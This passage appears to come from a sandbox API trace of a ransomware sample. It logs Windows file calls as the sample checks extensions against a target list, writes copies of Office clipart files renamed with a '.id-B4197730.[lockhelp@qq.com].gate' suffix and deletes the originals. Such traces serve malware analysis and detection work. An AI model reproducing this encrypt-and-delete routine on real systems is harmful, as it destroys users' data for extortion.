(lpString=".pdf") returned 4 [0302.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.217] lstrlenW (lpString=".xls") returned 4 [0302.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.217] lstrlenW (lpString=".xlsx") returned 5 [0302.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.218] lstrlenW (lpString=".ppt") returned 4 [0302.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.218] lstrlenW (lpString=".zip") returned 4 [0302.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.218] lstrlenW (lpString=".rar") returned 4 [0302.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.218] lstrlenW (lpString=".bz2") returned 4 [0302.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.218] lstrlenW (lpString=".7z") returned 3 [0302.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.218] lstrlenW (lpString=".dbf") returned 4 [0302.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.218] lstrlenW (lpString=".1cd") returned 4 [0302.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.218] lstrlenW (lpString=".jpg") returned 4 [0302.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.218] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=7098) returned 1 [0302.218] CloseHandle (hObject=0x4b8) returned 1 [0302.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0302.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0302.219] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.219] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0302.220] GetLastError () returned 0x0 [0302.220] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1bba, lpOverlapped=0x0) returned 1 [0302.353] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0302.354] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.354] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.354] SetEndOfFile (hFile=0x404) returned 1 [0302.354] CloseHandle (hObject=0x404) returned 1 [0302.354] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.354] SetEndOfFile (hFile=0x4b8) returned 1 [0302.421] CloseHandle (hObject=0x4b8) returned 1 [0302.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0302.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.422] lstrlenW (lpString=".doc") returned 4 [0302.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.422] lstrlenW (lpString=".docx") returned 5 [0302.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.422] lstrlenW (lpString=".pdf") returned 4 [0302.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.422] lstrlenW (lpString=".xls") returned 4 [0302.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.422] lstrlenW (lpString=".xlsx") returned 5 [0302.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.422] lstrlenW (lpString=".ppt") returned 4 [0302.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.422] lstrlenW (lpString=".zip") returned 4 [0302.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.422] lstrlenW (lpString=".rar") returned 4 [0302.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.422] lstrlenW (lpString=".bz2") returned 4 [0302.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.422] lstrlenW (lpString=".7z") returned 3 [0302.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.422] lstrlenW (lpString=".dbf") returned 4 [0302.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.422] lstrlenW (lpString=".1cd") returned 4 [0302.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.422] lstrlenW (lpString=".jpg") returned 4 [0302.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.423] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5000) returned 1 [0302.423] CloseHandle (hObject=0x4b8) returned 1 [0302.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0302.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0302.423] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.423] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0302.424] GetLastError () returned 0x0 [0302.424] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1388, lpOverlapped=0x0) returned 1 [0302.470] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1390, lpOverlapped=0x0) returned 1 [0302.471] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.471] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.471] SetEndOfFile (hFile=0x528) returned 1 [0302.471] CloseHandle (hObject=0x528) returned 1 [0302.472] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.472] SetEndOfFile (hFile=0x4b8) returned 1 [0302.490] CloseHandle (hObject=0x4b8) returned 1 [0302.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0302.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.491] lstrlenW (lpString=".doc") returned 4 [0302.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.491] lstrlenW (lpString=".docx") returned 5 [0302.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.491] lstrlenW (lpString=".pdf") returned 4 [0302.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.492] lstrlenW (lpString=".xls") returned 4 [0302.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.492] lstrlenW (lpString=".xlsx") returned 5 [0302.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.492] lstrlenW (lpString=".ppt") returned 4 [0302.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.492] lstrlenW (lpString=".zip") returned 4 [0302.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.492] lstrlenW (lpString=".rar") returned 4 [0302.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.492] lstrlenW (lpString=".bz2") returned 4 [0302.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.492] lstrlenW (lpString=".7z") returned 3 [0302.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.492] lstrlenW (lpString=".dbf") returned 4 [0302.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.492] lstrlenW (lpString=".1cd") returned 4 [0302.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.492] lstrlenW (lpString=".jpg") returned 4 [0302.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.493] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=15806) returned 1 [0302.493] CloseHandle (hObject=0x4b8) returned 1 [0302.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0302.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0302.493] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.493] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0302.494] GetLastError () returned 0x0 [0302.494] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0302.673] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0302.674] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.674] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.674] SetEndOfFile (hFile=0x554) returned 1 [0302.676] CloseHandle (hObject=0x554) returned 1 [0302.677] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.677] SetEndOfFile (hFile=0x4b8) returned 1 [0302.709] CloseHandle (hObject=0x4b8) returned 1 [0302.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0302.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0302.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0302.710] lstrlenW (lpString=".doc") returned 4 [0302.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.710] lstrlenW (lpString=".docx") returned 5 [0302.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.710] lstrlenW (lpString=".pdf") returned 4 [0302.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.710] lstrlenW (lpString=".xls") returned 4 [0302.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.710] lstrlenW (lpString=".xlsx") returned 5 [0302.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.710] lstrlenW (lpString=".ppt") returned 4 [0302.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0302.710] lstrlenW (lpString=".zip") returned 4 [0302.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.710] lstrlenW (lpString=".rar") returned 4 [0302.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.710] lstrlenW (lpString=".bz2") returned 4 [0302.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.710] lstrlenW (lpString=".7z") returned 3 [0302.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0302.710] lstrlenW (lpString=".dbf") returned 4 [0302.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0302.711] lstrlenW (lpString=".1cd") returned 4 [0302.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0302.711] lstrlenW (lpString=".jpg") returned 4 [0302.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.711] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5958) returned 1 [0302.711] CloseHandle (hObject=0x4b8) returned 1 [0302.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0302.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0302.712] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.712] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0302.713] GetLastError () returned 0x0 [0302.713] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1746, lpOverlapped=0x0) returned 1 [0302.894] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1750, lpOverlapped=0x0) returned 1 [0302.895] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.895] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.896] SetEndOfFile (hFile=0x554) returned 1 [0302.896] CloseHandle (hObject=0x554) returned 1 [0302.896] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.896] SetEndOfFile (hFile=0x4b8) returned 1 [0302.957] CloseHandle (hObject=0x4b8) returned 1 [0302.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0302.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0302.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0302.958] lstrlenW (lpString=".doc") returned 4 [0302.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.958] lstrlenW (lpString=".docx") returned 5 [0302.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.958] lstrlenW (lpString=".pdf") returned 4 [0302.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.958] lstrlenW (lpString=".xls") returned 4 [0302.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.958] lstrlenW (lpString=".xlsx") returned 5 [0302.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.958] lstrlenW (lpString=".ppt") returned 4 [0302.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0302.959] lstrlenW (lpString=".zip") returned 4 [0302.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.959] lstrlenW (lpString=".rar") returned 4 [0302.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.959] lstrlenW (lpString=".bz2") returned 4 [0302.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.959] lstrlenW (lpString=".7z") returned 3 [0302.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0302.959] lstrlenW (lpString=".dbf") returned 4 [0302.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0302.959] lstrlenW (lpString=".1cd") returned 4 [0302.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0302.959] lstrlenW (lpString=".jpg") returned 4 [0302.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.959] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=26706) returned 1 [0302.960] CloseHandle (hObject=0x4b8) returned 1 [0302.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0302.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), 